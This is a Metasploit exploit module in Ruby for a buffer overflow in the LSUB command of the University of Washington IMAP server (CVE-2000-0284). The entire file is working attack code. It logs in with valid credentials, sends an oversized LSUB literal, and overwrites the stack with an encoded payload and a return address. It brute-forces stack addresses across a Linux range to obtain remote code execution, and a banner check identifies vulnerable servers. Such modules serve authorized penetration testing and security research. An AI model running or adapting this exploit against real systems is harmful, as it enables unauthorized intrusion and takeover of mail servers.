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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Brute
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  include Msf::Exploit::Remote::Imap
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'UoW IMAP Server LSUB Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in the 'LSUB'
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          command of the University of Washington IMAP service.
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          This vulnerability can only be exploited with a valid username
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          and password.
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        },
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        'Author' => [ 'aushack', 'jduck' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2000-0284' ],
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          [ 'OSVDB', '12037' ],
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          [ 'BID', '1110' ],
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          [ 'EDB', '284' ]
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 964,
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          'BadChars' => "\x00\x0a\x0d\x2f",
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          'StackAdjustment' => -3500
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        },
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        'Platform' => 'linux',
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        'Targets' => [
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          # ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
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          [
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            'Linux Bruteforce',
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            {
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              'Platform' => 'linux',
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              'Offset' => 1064,
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xbffffdfc },
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                  'Stop' => { 'Ret' => 0xbfa00000 },
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                  'Step' => 200
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                }
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            },
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          ]
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        ],
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        'DisclosureDate' => '2000-04-16',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_RESTARTS],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => [UNRELIABLE_SESSION]
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        }
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      )
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    )
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  end
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  def check
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    connect
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    disconnect
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    if banner =~ /IMAP4rev1 v12\.264/
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      return CheckCode::Appears('IMAP4rev1 v12.264')
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    end
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    CheckCode::Safe
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  end
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  def brute_exploit(addresses)
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    print_status('Trying 0x%.8x ...' % addresses['Ret'])
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    fail_with(Failure::NoAccess, 'Unable to log in!') unless connect_login
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    req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
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    sock.put(req)
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    sock.get_once
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    sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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